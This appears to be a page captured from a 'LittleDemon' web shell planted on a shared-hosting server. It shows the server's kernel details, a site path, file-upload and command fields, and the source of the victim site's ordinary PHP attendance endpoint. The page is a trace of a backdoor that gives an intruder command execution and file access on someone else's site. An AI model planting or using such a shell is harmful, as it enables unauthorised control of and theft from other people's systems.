LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/get_attendance_detail.php

<?php
// get_attendance_detail.php

require '../db.php'; // Include your DB connection

if (!isset($_GET['user_id']) || !isset($_GET['date'])) {
    echo json_encode(['status' => 'error', 'message' => 'Missing parameters']);
    exit;
}

$user_id = intval($_GET['user_id']);
$date = $_GET['date']; // Expected format: YYYY-MM-DD

// Fetch login and logout details
$sql = "SELECT *
        FROM user_attendance
        WHERE user_id = ? AND DATE(login_time) = ?";

$stmt = $conn->prepare($sql);
$stmt->bind_param("is", $user_id, $date);
$stmt->execute();
$result = $stmt->get_result();
$attendance = [];
while ($row = $result->fetch_assoc()) {
    $attendance[] = $row;
}
if ($attendance) {
    echo json_encode([
        'status' => 'success',
        'data' => $attendance[0]
    ]);
} else {
    echo json_encode(['status' => 'error', 'message' => 'No data found']);
}

$stmt->close();
$conn->close();

LittleDemon - FACEBOOK
[ KELUAR ]